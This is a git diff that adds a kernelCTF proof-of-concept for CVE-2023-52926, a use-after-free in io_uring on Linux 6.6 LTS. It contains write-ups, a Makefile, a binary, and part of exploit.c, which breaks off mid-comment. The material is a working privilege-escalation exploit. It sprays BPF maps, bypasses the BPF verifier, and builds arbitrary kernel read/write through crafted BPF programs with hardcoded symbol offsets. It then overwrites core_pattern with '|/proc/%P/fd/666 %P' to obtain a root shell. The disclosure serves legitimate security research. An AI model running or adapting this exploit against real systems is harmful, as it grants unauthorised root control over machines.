diff --git a/pocs/linux/kernelctf/CVE-2023-52926_lts/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-52926_lts/docs/exploit.md new file mode 100644 index 000000000..b63395431 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52926_lts/docs/exploit.md @@ -0,0 +1,217 @@ +# Vulnerability + +## Overview +Vulnerability is a use-after-free that exists in io_uring subsystem. `IORING_OP_READ` did not correctly consume the provided buffer list when read i/o returned < 0 (except for -EAGAIN and -EIOCBQUEUED return). This can lead to a potential use-after-free when the completion via io_rw_done runs at separate context. + +## Vuln Details +### io_uring Imported Buffer +IO Uring had a feature where we can register buffers that can used on most of io uring operation. Buffer stored in a `xarray`. We can register/unregister buffer using `IORING_REGISTER_PBUF_RING` or `IORING_UNREGISTER_PBUF_RING`. When issuing io_uring request, we can put the index of the buffer we want to use at `buf_index` and flag `IOSQE_BUFFER_SELECT` of io_uring submission context. +It will handled by `io_buffer_select` function. +```c +void __user *io_buffer_select(struct io_kiocb *req, size_t *len, + unsigned int issue_flags) +{ + struct io_ring_ctx *ctx = req->ctx; + struct io_buffer_list *bl; + void __user *ret = NULL; + + io_ring_submit_lock(req->ctx, issue_flags); + + bl = io_buffer_get_list(ctx, req->buf_index); + if (likely(bl)) { + if (bl->is_mapped) + ret = io_ring_buffer_select(req, len, bl, issue_flags); + else + ret = io_provided_buffer_select(req, len, bl); + } + io_ring_submit_unlock(req->ctx, issue_flags); + return ret; +} +``` +There's two type of buffers, classic buffer and ring buffer, in this exploitation we gonna use ring buffer. `io_buffer_select` will call `io_ring_buffer_select` for our chosen buffer ring. +```c +static void __user *io_ring_buffer_select(struct io_kiocb *req, size_t *len, + struct io_buffer_list *bl, + unsigned int issue_flags) +{ + ... + req->flags |= REQ_F_BUFFER_RING; + req->buf_list = bl; + req->buf_index = buf->bid; + ... +} +``` +Our buffer ring object will stored at `req->buf_list` here (without increase any refs at all), and will be used across io_uring operation later. + +### io_read handle error +In `io_read`, if read return error code is not EAGAIN nor EIOCBQUEUED, it will goto line[1] and jmp to done +```C + ret = io_iter_do_read(rw, &s->iter); + + if (ret == -EAGAIN || (req->flags & REQ_F_REISSUE)) { + req->flags &= ~REQ_F_REISSUE; + /* if we can poll, just do that */ + if (req->opcode == IORING_OP_READ && file_can_poll(req->file)) + return -EAGAIN; + /* IOPOLL retry should happen for io-wq threads */ + if (!force_nonblock && !(req->ctx->flags & IORING_SETUP_IOPOLL)) + goto done; + /* no retry on NONBLOCK nor RWF_NOWAIT */ + if (req->flags & REQ_F_NOWAIT) + goto done; + ret = 0; + } else if (ret == -EIOCBQUEUED) { + if (iovec) + kfree(iovec); + return IOU_ISSUE_SKIP_COMPLETE; + } else if (ret == req->cqe.res || ret <= 0 || !force_nonblock || + (req->flags & REQ_F_NOWAIT) || !need_complete_io(req)) { + /* read all, failed, already did sync or don't want to retry */ + goto done; //[1] + } +``` + +it will call `kiocb_done` to call `io_rw_done` to call `io_rw_done` -> `kiocb->ki_complete (io_complete_rw)` + +```C +done: + /* it's faster to check here then delegate to kfree */ + if (iovec) + kfree(iovec); + return kiocb_done(req, ret, issue_flags); + + + +static int kiocb_done(struct io_kiocb *req, ssize_t ret, + unsigned int issue_flags) +{ + struct io_rw *rw = io_kiocb_to_cmd(req, struct io_rw); + unsigned final_ret = io_fixup_rw_res(req, ret); + + if (ret >= 0 && req->flags & REQ_F_CUR_POS) + req->file->f_pos = rw->kiocb.ki_pos; + if (ret >= 0 && (rw->kiocb.ki_complete == io_complete_rw)) { + if (!__io_complete_rw_common(req, ret)) { + /* + * Safe to call io_end from here as we're inline + * from the submission path. + */ + io_req_io_end(req); + io_req_set_res(req, final_ret, + io_put_kbuf(req, issue_flags)); + return IOU_OK; + } + } else { + io_rw_done(&rw->kiocb, ret); + } + + if (req->flags & REQ_F_REISSUE) { + req->flags &= ~REQ_F_REISSUE; + if (io_resubmit_prep(req)) + io_req_task_queue_reissue(req); + else + io_req_task_queue_fail(req, final_ret); + } + return IOU_ISSUE_SKIP_COMPLETE; +} +``` + +It will queue current io_read work into task_work list, it mean it won't release req->buf_list before release io_uring lock. + +```C +static void io_complete_rw(struct kiocb *kiocb, long res) +{ + struct io_rw *rw = container_of(kiocb, struct io_rw, kiocb); + struct io_kiocb *req = cmd_to_io_kiocb(rw); + + if (__io_complete_rw_common(req, res)) + return; + io_req_set_res(req, io_fixup_rw_res(req, res), 0); + req->io_task_work.func = io_req_rw_complete; + io_req_task_work_add(req); +} + +``` + + +It mean we can free `io_buffer_list` before task_work execute, `req->buf_list` still hold freed `io_buffer_list` then it will use-after-free at [1] when trying to increase the head. So we have use-after-free increase primitive. + + +## Exploit detail in LTS + +The primitive we obtained from this vulnerability allows us to increase the value at offset 22 within a kmalloc-64 slab. However, due to the limited use-after-free (UAF) nature of the bug, we cannot directly overwrite kernel pointers. + +For example, a valid kernel heap address like 0xffff888100063bf0 becomes 0x888100063bf0 after the increase operation—this is an invalid kernel address. Similarly, we cannot overwrite a Page Table Entry (PTE). A valid PTE like 0x8000000100c63163 would turn into 0x8001000100c63163 after an increase, pointing to an invalid physical address and thus not being exploitable. + +### Discovery of a New Exploitation Path via BPF +While exploring potential overwrite targets, we took a closer look at the BPF (Berkeley Packet Filter) subsystem, suspecting it might offer useful primitives. Importantly, BPF does not require unprivileged namespaces, making it more viable in constrained environments. + +We identified a particularly interesting function: `bpf_map_is_rdonly`. This function is used during verification to determine if a BPF map can be treated as read-only. If so, the verifier assumes the contents of the map will not change, allowing it to relax certain checks and optimize based on that assumption. + +Here is the relevant kernel code: + +```C +static bool bpf_map_is_rdonly(const struct bpf_map *map) +{ + /* A map is considered read-only if the following conditions are true: + * + * 1) The BPF program cannot change any of the map's contents. + * This is enforced by the BPF_F_RDONLY_PROG flag, which must + * have been set at map creation time. + * 2) The map values have been initialized from user space and then + * "frozen", preventing further update/delete operations from user space. + * 3) Any parallel or pending update/delete operations must have completed. + * Only then can the map be considered truly immutable. + */ + return (map->map_flags & BPF_F_RDONLY_PROG) && + READ_ONCE(map->frozen) && + !bpf_map_write_active(map); +} +``` +### The Exploitation Idea + +A new exploitation path emerged from this logic: +What if we can make the BPF verifier believe a map's content is A, but then—using our UAF-based increase primitive—we change it to B? This would break the verifier’s assumptions, and potentially allow us to bypass checks and construct a stable arbitrary read/write primitive inside a BPF program, much like traditional BPF-based kernel exploits. + +## Exploit Summary +The exploitation path can be summarized as follows: +### io_uring Use-After-Free Vulnerability +The exploit begins by initializing an `io_uring` instance, mapping its rings, and registering a dummy file descriptor. A data buffer (`res_buffer`) and an `io_uring_buf_ring` metadata structure (`ring_buffer`) are mmaped. To prepare for the UAF, the `ring_buffer` is initialized with `res_buffer`. Critically, a large number of `io_uring_buf_ring` entries (0x1000) are then registered with unique `bgid`s using `IORING_REGISTER_PBUF_RING`. This action is part of the heap grooming strategy, ensuring that `struct io_buffer_list` objects (allocated from the `kmalloc-64` slab) are spread across the slab cache. + +The actual UAF is triggered by submitting an vulnerable `IORING_OP_READ`. The `IORING_OP_READ` uses `IOSQE_BUFFER_SELECT` with a specific `buf_group` ID (e.g., 0x800). This operation prepares a read using a buffer from the registered `io_uring_buf_ring`, but crucially, it does **not** correctly increment the reference count of the associated `struct io_buffer_list` object. Immediately after submission, a range of `io_uring_buf_ring`s (including the one with `bgid 0x800`) are unregistered using `IORING_UNREGISTER_PBUF_RING`. This unregistration frees the `io_buffer_list` object that is still referenced by the pending `IORING_OP_READ`. When the kernel later processes the pending `IORING_OP_READ` and attempts to access the freed `io_buffer_list` (specifically, incrementing its `bl->head` field at offset 22), a use-after-free occurs, providing a controlled increment primitive on the `kmalloc-64` slab. + +### Heap Grooming and Cross-Cache Attack +Immediately after triggering the UAF, the exploit performs extensive heap grooming. It creates numerous `array_map` BPF maps (0x200 of them) with the `BPF_F_RDONLY_PROG` flag. This spraying technique aims to reclaim the freed `io_buffer_list` memory with a BPF map's value, establishing a cross-cache overlap between the `kmalloc-64` slab (where `io_buffer_list` resides) and the `array_map`'s page. The maps are then "frozen" using `BPF_MAP_FREEZE`, setting their `map->frozen` field to `true`. + +### BPF Verifier Bypass and Kernel Address Leak +Create multiple array_map BPF maps with the BPF_F_RDONLY_PROG flag to ensure the kernel cross-cache from kmalloc-64 slab pages to array_map's pages. +Freeze the maps, setting the map->frozen field to true, making them read-only from the syscall bpf with `BPF_MAP_FREEZE`. +Construct BPF programs that uses these maps. Because bpf_map_is_rdonly() returns true, the verifier performs a read-ahead of the map content and treats it as a constant (SCALAR_VALUE): + +```C + if (tnum_is_const(reg->var_off) && + bpf_map_is_rdonly(map) && + map->ops->map_direct_value_addr) { + int map_off = off + reg->var_off.value; + u64 val = 0; + + err = bpf_map_direct_read(map, map_off, size, + &val); + if (err) + return err; + + regs[value_regno].type = SCALAR_VALUE; + __mark_reg_known(®s[value_regno], val); +``` +Use the UAF-based increase primitive to modify the map contents after verifier checks but before actual execution, violating the SCALAR assumption. This can be exploited via BPF_FUNC_skb_load_bytes_relative, which can lead to a stack overflow, enabling further exploitation like arbitrary kernel memory read/write. Refer to [this](https://bughunters.google.com/blog/6303226026131456/a-deep-dive-into-cve-2023-2163-how-we-found-and-fixed-an-ebpf-linux-kernel-vulnerability#exploitation) for more detailed technique. + +Due to the UAF, the `io_buffer_list->head` field (at offset `0x16` within the overlapping BPF map value) is incremented by the kernel at runtime (e.g., from 0 to 1). The BPF programs load this UAF-modified value into a register (e.g., `BPF_REG_4`). While the verifier still believes this register holds `0`, the runtime value is `1`. This discrepancy is exploited with `BPF_FUNC_skb_load_bytes_relative`: +* **Kernel Address Leak:** The `array_map_leak_prog` uses the runtime `1` value to calculate a `len` of `9` (e.g., `1 + 8`), while the verifier expects `8` (e.g., `0 + 8`). This 1-byte overflow on the BPF stack partially corrupts a pointer to a magic value. By carefully constructing the stack and the input `skb` data, this corruption redirects the pointer such that dereferencing it (and an adjacent offset) yields another magic value (for verification) and a leaked kernel address (e.g., `array_map_ops` pointer). The exploit iterates through the sprayed maps, attaching the `array_map_leak_prog` to a socket, and sending trigger packets until a valid kernel address is successfully leaked into a designated output BPF map. + +### Arbitrary Kernel Read/Write Primitive +Once a kernel address is leaked, the `kernel_read_write_prog` is attached to a socket. This program utilizes the *same verifier bypass* (`R4` being `1` at runtime but `0` for the verifier). However, it uses additional multiplication and addition (e.g., `R4 = 1 * 8 = 8` then `R4 + 8 = 16`) to make the runtime `len` for `bpf_skb_load_bytes_relative` become `16`, while the verifier still expects `8`. This 16-byte write completely overwrites an 8-byte pointer on the BPF stack with an *arbitrary target kernel address* supplied by userspace within the `skb` data. The program then conditionally performs either a 64-bit read from or a 64-bit write to this arbitrary kernel address, with a control flag and data passed via elements of the output BPF map. + +### Privilege Escalation +With arbitrary kernel read/write capabilities, the exploit calculates the kernel base address using the leaked `array_map_ops` address and a known offset. It then calculates the address of the `core_pattern` kernel variable. Finally, it overwrites `core_pattern` with a malicious payload: `|/proc/%P/fd/666 %P`. This payload instructs the kernel to execute the file descriptor 666 (which is the exploit binary itself) with root privileges whenever a process crashes, passing the crashing process's PID as an argument. A child process is then made to crash, triggering the payload and resulting in a root shell. + + diff --git a/pocs/linux/kernelctf/CVE-2023-52926_lts/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-52926_lts/docs/vulnerability.md new file mode 100644 index 000000000..c8df9e4f0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52926_lts/docs/vulnerability.md @@ -0,0 +1,22 @@ +# Vulnerability +IORING_OP_READ did not correctly consume the provided buffer list when read i/o returned < 0 (except for -EAGAIN and -EIOCBQUEUED return). This can lead to a potential use-after-free when the completion via io_rw_done runs at separate context. + +## Requirements to trigger the vulnerability +- Capabilities: NONE +- Kernel configuration: `CONFIG_IO_URING` +- User namespaces needed: No + +## Commit which introduced the vulnerability +- https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit?id=c7fb19428d67d + +## Commit which fixed the vulnerability +https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=6c27fc6a783c8a77c756dd5461b15e465020d075 + +## Affected kernel versions +v6.6 - v6.6.67 + +## Affected component, subsystem +- io_uring + +## Cause +- Use After Free \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-52926_lts/exploit/lts-6.6.66/Makefile b/pocs/linux/kernelctf/CVE-2023-52926_lts/exploit/lts-6.6.66/Makefile new file mode 100644 index 000000000..19f8df52e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52926_lts/exploit/lts-6.6.66/Makefile @@ -0,0 +1,4 @@ +all: exploit + +exploit: exploit.c + gcc $^ -o $@ -static diff --git a/pocs/linux/kernelctf/CVE-2023-52926_lts/exploit/lts-6.6.66/exploit b/pocs/linux/kernelctf/CVE-2023-52926_lts/exploit/lts-6.6.66/exploit new file mode 100755 index 000000000..fb88b94af Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-52926_lts/exploit/lts-6.6.66/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-52926_lts/exploit/lts-6.6.66/exploit.c b/pocs/linux/kernelctf/CVE-2023-52926_lts/exploit/lts-6.6.66/exploit.c new file mode 100644 index 000000000..09e365ffe --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52926_lts/exploit/lts-6.6.66/exploit.c @@ -0,0 +1,844 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "io_uring.h" // Assuming this header contains io_uring related structs and macros + +// --- Kernel Symbol Offsets (relative to STATIC_KBASE) --- +// These offsets need to be adjusted based on the target kernel version +// and are relative to a known kernel base address. +#define KERNEL_STATIC_BASE 0xffffffff81000000ULL +#define ARRAY_MAP_OPS_OFFSET (0xffffffff82c40200ULL - KERNEL_STATIC_BASE) +#define CORE_PATTERN_OFFSET (0xffffffff83db6560ULL - KERNEL_STATIC_BASE) + +// --- Utility Macros --- +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ + }) + +// For converting pointer to unsigned 64-bit integer +#define ptr_to_u64(ptr) ((__u64)(unsigned long)(ptr)) + +// Define a single instance of the given token +#define X1(...) __VA_ARGS__ +#define X2(...) X1(__VA_ARGS__), X1(__VA_ARGS__) +#define X4(...) X2(__VA_ARGS__), X2(__VA_ARGS__) +#define X8(...) X4(__VA_ARGS__), X4(__VA_ARGS__) +#define X16(...) X8(__VA_ARGS__), X8(__VA_ARGS__) +#define X32(...) X16(__VA_ARGS__), X16(__VA_ARGS__) +#define X64(...) X32(__VA_ARGS__), X32(__VA_ARGS__) +#define X128(...) X64(__VA_ARGS__), X64(__VA_ARGS__) + +// Macro to repeat a sequence of tokens 127 times +#define X127(...) \ + X64(__VA_ARGS__), \ + X32(__VA_ARGS__), \ + X16(__VA_ARGS__), \ + X8(__VA_ARGS__), \ + X4(__VA_ARGS__), \ + X2(__VA_ARGS__), \ + X1(__VA_ARGS__) + +// --- BPF Related Definitions --- +// Non-exported BPF commands and flags +#ifndef __NR_BPF +#define __NR_BPF 321 +#endif +#define BPF_F_MMAPABLE 1024 +#define BPF_FUNC_ringbuf_query 134 +#define BPF_FUNC_ringbuf_reserve 131 +#define BPF_MAP_TYPE_RINGBUF 27 +#define BPF_FUNC_ringbuf_discard 133 +#define BPF_FUNC_ringbuf_output 130 + +// BPF Instruction Macros (for readability) +#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ + ((struct bpf_insn){.code = CODE, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = IMM}) + +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn){.code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32)(IMM)}), \ + ((struct bpf_insn){.code = 0, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64)(IMM)) >> 32}) + +#define BPF_MOV64_IMM(DST, IMM) \ + BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_K, DST, 0, 0, IMM) + +#define BPF_MOV64_REG(DST, SRC) \ + BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_X, DST, SRC, 0, 0) + +#define BPF_ALU64_IMM(OP, DST, IMM) \ + BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM) + +#define BPF_ALU64_REG(OP, DST, SRC) \ + BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_X, DST, SRC, 0, 0) + +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + BPF_RAW_INSN(BPF_JMP | BPF_OP(OP) | BPF_K, DST, 0, OFF, IMM) + +#define BPF_EXIT_INSN() BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0) + +#define BPF_LD_MAP_FD(DST, MAP_FD) \ + BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) + +#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ + BPF_RAW_INSN(BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, DST, 0, OFF, IMM) + +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + BPF_RAW_INSN(BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, DST, SRC, OFF, 0) + +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + BPF_RAW_INSN(BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, DST, SRC, OFF, 0) + +// Helper for BPF_FUNC_map_lookup_elem +// Reg 9 (BPF_REG_9) usually holds the map FD +// Reg 10 (BPF_REG_10) is frame pointer +#define BPF_MAP_GET_ADDR(idx, dst) \ + BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), \ + BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \ + BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \ + BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), \ + BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, \ + BPF_FUNC_map_lookup_elem), \ + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), \ + BPF_MOV64_REG((dst), BPF_REG_0), BPF_MOV64_IMM(BPF_REG_0, 0) + +#define BPF_MAP_GET(idx, dst) \ + BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), \ + BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \ + BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \ + BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), \ + BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, \ + BPF_FUNC_map_lookup_elem), \ + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), \ + BPF_LDX_MEM(BPF_DW, dst, BPF_REG_0, 0), \ + BPF_MOV64_IMM(BPF_REG_0, 0) + +// This macro is part of the BPF verifier bypass. It aims to read the byte at offset 0x16 from R5 + 0x20. +// If offset 0x16 increment by UAF write, verifier will thinks it's 0 but actually it's already 1 +#define BPF_GRAB \ + BPF_ALU64_IMM(BPF_ADD, BPF_REG_5, 0x20), /* Add 0x20 to R5 (map value address) */ \ + BPF_LDX_MEM(BPF_B, BPF_REG_4, BPF_REG_5, 0x16), /* Load 1 byte from R5 + 0x16 into R4 */ \ + BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_4) /* Add R4 to R6 */ + +// Array size for BPF instructions +#define INST(x) (sizeof(x) / sizeof(struct bpf_insn)) + +// --- Global Variables --- +int sockets[2]; // Sockets for BPF communication +char log_buf[0x10000]; // Buffer for BPF verifier logs +char tmp_buf[0x1000]; // Generic temporary buffer for I/O, BPF data, etc. +char magic[0x1000]; // Used to identify corrupted BPF map pages + +// --- BPF Program Definitions --- +// @step(name="Triggering the Vulnerability") +// This BPF program is designed to leak a struct bpf_array address. +// It leverages a BPF verifier assumption (bpf_map_is_rdonly) combined with the UAF +// to achieve a controlled stack overflow using `bpf_skb_load_bytes_relative`. +struct bpf_insn array_map_leak_prog[] = { + BPF_MOV64_IMM(BPF_REG_6, 0), + BPF_MOV64_REG(BPF_REG_8, BPF_REG_1), // Store context (skb pointer) in R8 + + // Load the FD of the targeted BPF map (dup2'd to 0x100) into BPF_REG_9. + // This BPF map has reclaimed the memory of the `io_buffer_list` object. + BPF_LD_MAP_FD(BPF_REG_9, 0x100), + // Get the address of element 0 from this map's value into BPF_REG_5. + // This points to the start of the array map's user-controlled data, which overlaps + // with the freed `io_buffer_list` due to heap grooming. + BPF_MAP_GET_ADDR(0, BPF_REG_5), + + BPF_MOV64_IMM(BPF_REG_6, 0), + // Load 1 byte from offset 0x16 relative to `map_value_base` (BPF_REG_5) into R4. + // This offset `0x16` (22 decimal) specifically aligns with the `io_buffer_list->head` + // field within the `kmalloc-64` slab. Due to the UAF, this byte has been + // incremented by the kernel (e.g., from 0 to 1). The BPF verifier, however, + // sees the map as read-only and frozen, assuming this value is 0. + BPF_LDX_MEM(BPF_B, BPF_REG_4, BPF_REG_5, 0x16), + BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_4), // Add the UAF-incremented value (1) to R6. So R6 = 1. + + // A series of BPF_GRAB instructions. Each BPF_GRAB typically increments R5 + // and then loads a byte from R5 + 0x16 into R4, adding it to R6. + // The exact effect depends on the data on the heap. The goal here is to + // ensure that, at runtime, R6 (which will become `len`) holds the value `1`. + // The verifier's calculation, however, would result in `0` for R6 if the map + // is assumed to be uncorrupted and read-only. This difference is key for the bypass. + X127(BPF_GRAB), // Repeats BPF_GRAB 127 times + BPF_MOV64_REG(BPF_REG_4, BPF_REG_6), // Copy the manipulated R6 (which is 1 at runtime) to R4. + + // Setup for calling `BPF_FUNC_skb_load_bytes_relative` to perform a controlled stack overflow. + // We place magic values on the BPF stack to help verify the overflow and determine offsets. + // + // Desired Stack Layout (relative to R10 - stack pointer): + // R10 - 8: 0xCAFE (magic sentinel 1) + // R10 - 16: 0xBACA (magic sentinel 2) + // R10 - 24: FD of the output map (0x101) + // R10 - 32: Pointer to R10 - 8 (i.e., address of 0xCAFE). This is the target for corruption. + // R10 - 40: Buffer where `skb_load_bytes_relative` will write. + // + BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0xCAFE), // Place 0xCAFE at R10 - 8 + BPF_ST_MEM(BPF_DW, BPF_REG_10, -16, 0xBACA), // Place 0xBACA at R10 - 16 + BPF_LD_MAP_FD(BPF_REG_9, 0x101), // Load FD of the output map (0x101) + BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_9, -24), // Store output map FD on stack at R10 - 24 + + BPF_MOV64_REG(BPF_REG_5, BPF_REG_10), // R5 = current stack pointer (R10) + BPF_ALU64_IMM(BPF_ADD, BPF_REG_5, -8), // R5 = R10 - 8 (address of 0xCAFE) + BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_5, -32), // Store the address of 0xCAFE (R10 - 8) at R10 - 32. + // This is the pointer that will be partially overwritten. + + // Call `bpf_skb_load_bytes_relative` to trigger the controlled overflow. + BPF_MOV64_REG(BPF_REG_1, BPF_REG_8), // R1 = skb context (from R8) + BPF_MOV64_IMM(BPF_REG_2, 0), // R2 = offset (start read from 0 in skb, i.e., `tmp_buf`) + BPF_MOV64_REG(BPF_REG_3, BPF_REG_10), // R3 = destination buffer (start of write target on stack) + BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -40), // R3 = R10 - 40 (the buffer for writing) + + // R4 = len. At runtime, R4 is 1. The instruction `BPF_ALU64_IMM(BPF_ADD, BPF_REG_4, 8)` + // makes `len = 1 + 8 = 9`. The verifier, however, assumes R4 is 0, so it calculates `len = 0 + 8 = 8`. + // This discrepancy allows a 9-byte write instead of the expected 8 bytes. + // The 9th byte overflows into the first byte of the value at R10 - 32. + BPF_ALU64_IMM(BPF_ADD, BPF_REG_4, 8), // R4 = 9 (runtime), 8 (verifier) + BPF_MOV64_IMM(BPF_REG_5, 1), // R5 = flags (relative read from skb) + BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative), + + // Validate the successful stack overflow and extract the leaked kernel address. + // The 9-byte write caused a 1-byte overflow into the pointer at R10 - 32. + // This partially corrupted pointer, when loaded into R5, is carefully crafted + // to point to a location that allows us to find our magic values and kernel pointers. + BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_10, -32), // Load the *partially corrupted* pointer from R10 - 32 into R5. + // This value is no longer `R10 - 8`. + + // Check for the magic values read from the *kernel stack* using the corrupted pointer. + // The 1-byte overflow at R10-32 has caused R5 to point to a misaligned location + // relative to the original stack frame. By dereferencing R5 at specific offsets, + // we expect to find our magic values (0xCAFE, 0xBACA) on the kernel stack. + BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_5, 0), // Load value at `*(R5 + 0)` into R6. If the corruption + // was successful, this should be 0xBACA from R10 - 16. + BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_5, -8), // Load value at `*(R5 - 8)` into R7. If successful, + // this should be a struct bpf_array pointer + // from an earlier stack frame. + + // Verification check: We expect the value at `*(R5 + 0)` (loaded into R6) to be `0xBACA`. + // This confirms that the stack overflow correctly misaligned the pointer in R10 - 32 + // such that it now points to a location where 0xBACA resides on the kernel stack. + // If R6 is NOT 0xBACA, jump 12 instructions (skip leak logic - overflow failed or misaligned). + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0xBACA, 12), + + // If the check passes, R7 (which holds the value from `*(R5 - 8)`) is now + // expected to contain a pointer to our eBPF map, or a value from which + // the struct bpf_array can be leaked. + BPF_LD_MAP_FD(BPF_REG_9, 0x101), // Load output map FD for userspace communication + BPF_MAP_GET_ADDR(1, BPF_REG_8), // Get address of element 1 in the output map + BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), // Store the leaked kernel address (R7) into the output map. + BPF_MOV64_IMM(BPF_REG_0, 0), // Return 0 (success) + BPF_EXIT_INSN(), +}; + +// @step(name="Arbitrary Kernel Read/Write Primitive") +// This BPF program provides arbitrary kernel read/write capabilities once a kernel address +// has been leaked. It utilizes the same verifier bypass technique as the leak program +// but achieves a full 8-byte overwrite on the stack to inject arbitrary kernel addresses. +struct bpf_insn kernel_read_write_prog[] = { + BPF_MOV64_IMM(BPF_REG_6, 0), + BPF_MOV64_REG(BPF_REG_8, BPF_REG_1), // Store context (skb) in R8 + + BPF_LD_MAP_FD(BPF_REG_9, 0x100), + BPF_MAP_GET_ADDR(0, BPF_REG_5), + + BPF_MOV64_IMM(BPF_REG_6, 0), + // Load the UAF-incremented byte (1) from the map's value into R4. + BPF_LDX_MEM(BPF_B, BPF_REG_4, BPF_REG_5, 0x16), + BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_4), // R6 = 1 (runtime) + + X127(BPF_GRAB), // Continue to manipulate R6, ensuring it stays at 1 (runtime). + BPF_MOV64_REG(BPF_REG_4, BPF_REG_6), // R4 = 1 (runtime), 0 (verifier) + + // Set up the BPF stack with sentinels for the controlled overflow. + // These sentinels will be fully overwritten by the `skb_load_bytes_relative` call + // with the target kernel address provided from userspace. + BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0xCAFE), // Magic sentinel 1 + BPF_ST_MEM(BPF_DW, BPF_REG_10, -16, 0xBACA), // Magic sentinel 2 + + BPF_MOV64_REG(BPF_REG_5, BPF_REG_10), // R5 = SP + BPF_ALU64_IMM(BPF_ADD, BPF_REG_5, -8), // R5 = SP - 8 (address of 0xCAFE) + BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_5, -32), // Store the original address of 0xCAFE (R10 - 8) + // at R10 - 32. This is the stack location + // that will be completely overwritten with our arbitrary address. + + // Calculate `len` for `skb_load_bytes_relative` to achieve a controlled 16-byte write. + // At runtime, R4 is 1. + BPF_ALU64_IMM(BPF_MUL, BPF_REG_4, 8), // R4 = 1 * 8 = 8 (runtime). Verifier still thinks R4 is 0. + + // Call `bpf_skb_load_bytes_relative` to perform the stack overflow. + BPF_MOV64_REG(BPF_REG_1, BPF_REG_8), // R1 = skb context + BPF_MOV64_IMM(BPF_REG_2, 0), // R2 = offset in skb (start reading from beginning of packet) + BPF_MOV64_REG(BPF_REG_3, BPF_REG_10), // R3 = destination buffer on BPF stack + BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -40), // R3 = R10 - 40 (start of buffer to write into) + // Final `len` calculation: At runtime, R4 is 8. `R4 + 8` makes R4 become 16. + // The verifier, however, still thinks `len = 0 + 8 = 8`. + // This allows `skb_load_bytes_relative` to read 16 bytes from the network packet (`tmp_buf`) + // and write them starting from R10 - 40. This 16-byte write completely overwrites + // the 8-byte value at R10 - 32 (where the pointer to 0xCAFE was) with user-controlled data. + BPF_ALU64_IMM(BPF_ADD, BPF_REG_4, 8), // R4 = 16 (runtime), 8 (verifier) + BPF_MOV64_IMM(BPF_REG_5, 1), // R5 = flags (relative read from skb) + BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative), + + // Arbitrary Read/Write Logic: + // The value at `R10 - 32` has been fully overwritten by the `skb_load_bytes_relative` + // call with the 64-bit target kernel address provided by userspace in the `tmp_buf` + // (specifically, `tmp_buf[8]` to `tmp_buf[15]`). + BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_10, -32), // Load the *user-controlled target kernel address* + // (now at R10 - 